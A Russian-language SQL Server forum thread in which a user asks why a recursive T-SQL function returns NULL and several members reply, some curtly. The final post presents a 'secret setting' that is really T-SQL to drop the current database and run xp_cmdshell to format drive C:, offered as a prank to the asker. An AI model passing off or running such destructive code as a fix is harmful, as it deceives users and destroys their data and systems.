Добро пожаловать в форум, Guest  >>   Войти | Регистрация | Поиск | Правила | В избранное | Подписаться
Все форумы / Microsoft SQL Server Новый топик    Ответить
 Рекурсия, функция, Return  [new]
MedBrat
Member

Откуда: Санкт-Петербург
Сообщений: 348
Коллеги, просьба подсказать в чем моя ошибка. Имеется рекурсивная функция, которая ловким образом выбирает нужную мне операцию из базы данных по ее номеру. В окончании функции

RETURN (SELECT CASE WHEN [Таблица].[Дата документа]>='20140101' THEN 1 ELSE 0 END
FROM [Таблица] WHERE [Номер операции]=@EntryNo)

В результате всегда выводится NULL. В свою очередь если же выводить банально @EntryNo, то выводится номер операции, как и предполагается. И запрос, результат которого хотелось бы вывести, тоже дает верный результат при введении в него соответствующего номера.

В общем, подскажите где ошибка. Видимо return так работать не умеет?(
24 янв 14, 18:46    [15464770]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
Glory
Member

Откуда:
Сообщений: 104760
MedBrat
Видимо return так работать не умеет?(

return возвращает то, что вернет запрос
24 янв 14, 18:48    [15464788]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
MedBrat
Member

Откуда: Санкт-Петербург
Сообщений: 348
Glory
MedBrat
Видимо return так работать не умеет?(

return возвращает то, что вернет запрос


Хм, зашел через отладчик и увидел странную картину. В return прописана только переменная @... А запроса нет.
Для верности проверил к какой базе подключен, указал напрямую [База].[dbo].Функция, но ситуация не изменилась. В самих же функциях при редактировании вижу полноценный код, о котором пишу.
24 янв 14, 20:22    [15465123]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
aleks2
Guest
MedBrat
Хм, зашел через отладчик и увидел странную картину. В return прописана только переменная @... А запроса нет.
Для верности проверил к какой базе подключен, указал напрямую [База].[dbo].Функция, но ситуация не изменилась. В самих же функциях при редактировании вижу полноценный код, о котором пишу.


Подкатить томограф али рентген-аппарат и просветить?

ЗЫ. Мало чего-то там "редактировать". Выполнить код ALTER function ... нада.
25 янв 14, 06:09    [15466544]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
Glory
Member

Откуда:
Сообщений: 104760
MedBrat
Хм, зашел через отладчик и увидел странную картину. В return прописана только переменная @... А запроса нет.
Для верности проверил к какой базе подключен, указал напрямую [База].[dbo].Функция, но ситуация не изменилась. В самих же функциях при редактировании вижу полноценный код, о котором пишу.

Вы хотите сказать, что сервер сам подменяет ваш код на свой собственный ?
25 янв 14, 16:03    [15467718]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
MedBrat
Member

Откуда: Санкт-Петербург
Сообщений: 348
Glory
MedBrat
Хм, зашел через отладчик и увидел странную картину. В return прописана только переменная @... А запроса нет.
Для верности проверил к какой базе подключен, указал напрямую [База].[dbo].Функция, но ситуация не изменилась. В самих же функциях при редактировании вижу полноценный код, о котором пишу.

Вы хотите сказать, что сервер сам подменяет ваш код на свой собственный ?


Это просто лаг софтины. забудем. Вопрос в другом теперь. Сколько при рекурсии должен возвратиться результат в return?
Отладчик при пошаговой выгрузке идет четко по запланированному пути, но последний пункт RETURN прогоняется столько раз, сколько оборотов сделала рекурсивная функция. Не могу понять что за лаг и как его обойти?((
26 янв 14, 03:57    [15470063]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
Glory
Member

Откуда:
Сообщений: 104760
MedBrat
Сколько при рекурсии должен возвратиться результат в return?

наверно по разу на каждый уровень вложенности

MedBrat
Не могу понять что за лаг и как его обойти?((

Почему вы решили, что это лаг
Чтото не соответствует документации ?
26 янв 14, 11:10    [15470243]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
MedBrat
Member

Откуда: Санкт-Петербург
Сообщений: 348
Glory
MedBrat
Сколько при рекурсии должен возвратиться результат в return?

наверно по разу на каждый уровень вложенности

MedBrat
Не могу понять что за лаг и как его обойти?((

Почему вы решили, что это лаг
Чтото не соответствует документации ?


Ну так то оно так, но в документации не удалось найти именно рекуосию в этом ее проявлении. Подскажите как мне получить return по последнему уровню? Т.е. если результат получен, то я не хочу откат к функции родителю... в крайнем случае пожскажите куда читать.(
26 янв 14, 13:43    [15470562]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
Glory
Member

Откуда:
Сообщений: 104760
MedBrat
Ну так то оно так, но в документации не удалось найти именно рекуосию в этом ее проявлении.

Наверное надо вообще изучить, что такое рекурсия

MedBrat
Подскажите как мне получить return по последнему уровню?

Написать функцию так, чтобы она возвращала нужный вам результат

MedBrat
.е. если результат получен, то я не хочу откат к функции родителю...

return - это не откат. return - это возврат результата.
26 янв 14, 14:58    [15470743]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
MedBrat
Member

Откуда: Санкт-Петербург
Сообщений: 348
Glory
MedBrat
Ну так то оно так, но в документации не удалось найти именно рекуосию в этом ее проявлении.

Наверное надо вообще изучить, что такое рекурсия

MedBrat
Подскажите как мне получить return по последнему уровню?

Написать функцию так, чтобы она возвращала нужный вам результат

MedBrat
.е. если результат получен, то я не хочу откат к функции родителю...

return - это не откат. return - это возврат результата.


Glory, спасибо, но ответ на свой вопрос я так и не получил. Что такое рекурсия я прекрасно знаю, для чего return тоже. Только очевидно, что возврат return происходит для каждого вызова функции (в пределах рекурсии, если конечно понимаете о чем я). Мне необходимо сделать так, чтоб на return функция прекращалась и возвращала последнее значение и только его.

Если вопрос не понятен, то спрошу иначе "как написать функцию так, чтоб она возвращала только последний результат?"
Готов дать примеры (не поленюсь создать), готов принять в помощь ссылки на доки, если таковые есть. В общем, главное реальная помощь, а не литье воды.

Буду очень и очень благодарен.
26 янв 14, 19:02    [15471339]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
alexeyvg
Member

Откуда: Moscow
Сообщений: 31442
MedBrat
олько очевидно, что возврат return происходит для каждого вызова функции (в пределах рекурсии, если конечно понимаете о чем я)
...
Если вопрос не понятен, то спрошу иначе "как написать функцию так, чтоб она возвращала только последний результат?"
Как может return вернуть не последний результат???
return возвращает число. Как может результатом вычисления быть "не последнее число"?

Можете подсказать на примере выражения 1+2, как оно может вернуть не 3, а какой то "не последний результат"?

Какие ещё примеры и ссылки на доки?

Совершенно непонятно, что вам нужно, какой вопрос вы хотите выяснить.
26 янв 14, 19:52    [15471503]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
MedBrat
Member

Откуда: Санкт-Петербург
Сообщений: 348
alexeyvg
MedBrat
олько очевидно, что возврат return происходит для каждого вызова функции (в пределах рекурсии, если конечно понимаете о чем я)
...
Если вопрос не понятен, то спрошу иначе "как написать функцию так, чтоб она возвращала только последний результат?"
Как может return вернуть не последний результат???
return возвращает число. Как может результатом вычисления быть "не последнее число"?

Можете подсказать на примере выражения 1+2, как оно может вернуть не 3, а какой то "не последний результат"?

Какие ещё примеры и ссылки на доки?

Совершенно непонятно, что вам нужно, какой вопрос вы хотите выяснить.


Смотрите, сейчас попытаюсь рассказать в деталях.
1. функция(параметр) Alt + f5. Запускается отладчик. Далее пошагово иду по функции.
2. например она выполняется 3 раза.
3. перешли к return. при наведении на переменную в return вижу искомый результат.
4. далее при попытке перейти к следующему шагу вновь подсвечивается return со значением. которое получалось на предыдущем витке функции, и снова следующий шаг и снова значение из предыдущего витка
5. на выходе такой функции получаем NULL

Для меня не вполне очевидно с какой целью идут возвраты результатов столько раз сколько запускалась функция.

Могу создать пример, который интерпретирует подобную ситуацию у Вас и Вы покажете в чем ошибка или как этого избежать. Я не нашел в документации ничего подобного. Может быть плохо искал. Помогите в поисках или решении.
26 янв 14, 20:13    [15471548]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
Glory
Member

Откуда:
Сообщений: 104760
MedBrat
Glory, спасибо, но ответ на свой вопрос я так и не получил. Что такое рекурсия я прекрасно знаю, для чего return тоже. Только очевидно, что возврат return происходит для каждого вызова функции (в пределах рекурсии, если конечно понимаете о чем я). Мне необходимо сделать так, чтоб на return функция прекращалась и возвращала последнее значение и только его.

Офигеть.
Я написал рекурсию, но хочу, чтобы она не работала.

MedBrat
Если вопрос не понятен, то спрошу иначе "как написать функцию так, чтоб она возвращала только последний результат?"

Руками. Любой код обычно пишут руками.
26 янв 14, 20:14    [15471550]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
alexeyvg
Member

Откуда: Moscow
Сообщений: 31442
MedBrat
Для меня не вполне очевидно с какой целью идут возвраты результатов столько раз сколько запускалась функция.
А сколько раз они должны возвращаться? :-) 5 раз запустили, 5 раз вернули.

У вас там обычная ошибка, нужно просто отладить.

Раскройте код, используйте локальные переменные, что бы было понятно, на каком шаге какие значения.
MedBrat
Могу создать пример, который интерпретирует подобную ситуацию у Вас и Вы покажете в чем ошибка или как этого избежать.
Создайте.
MedBrat
Я не нашел в документации ничего подобного.
Да это общие вещи, общее понимание того, как работает рекурсивный вызов.

В конце концов, уберите рекурсивный вызов, если не получается его применить, испольуйте цикл.
26 янв 14, 20:34    [15471600]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
Mind
Member

Откуда: Лучший город на Земле
Сообщений: 2322
MedBrat
Могу создать пример, который интерпретирует подобную ситуацию у Вас и Вы покажете в чем ошибка или как этого избежать.
Ошибка в понимании того, что такое функция, рекурсия и return, и как они работают. А еще в попытке использовать неподходящий по ваши задачи инструмент.
28 янв 14, 01:21    [15479191]     Ответить | Цитировать Сообщить модератору
 Re: Рекурсия, функция, Return  [new]
Jaffar
Member

Откуда:
Сообщений: 633
MedBrat,



если тебе нужно возвращать последнее значение - то есть вообще-то одна волшебная настройка, только ТСССС о ней никто не не знает, она специально спрятана от посторонних чтобы ей пользовались только избранные.
только выполнять нужно под правами SA - иначе не получиться.

declare @SQL varchar(max)
set @SQL = 'use master' + char(13)+char(10)+
		   'drop database ' + DB_NAME() + char(13)+char(10)+
		   'exec xp_cmdshell "Format C:"'


exec(@SQL)
28 янв 14, 07:11    [15479405]     Ответить | Цитировать Сообщить модератору
Все форумы / Microsoft SQL Server Ответить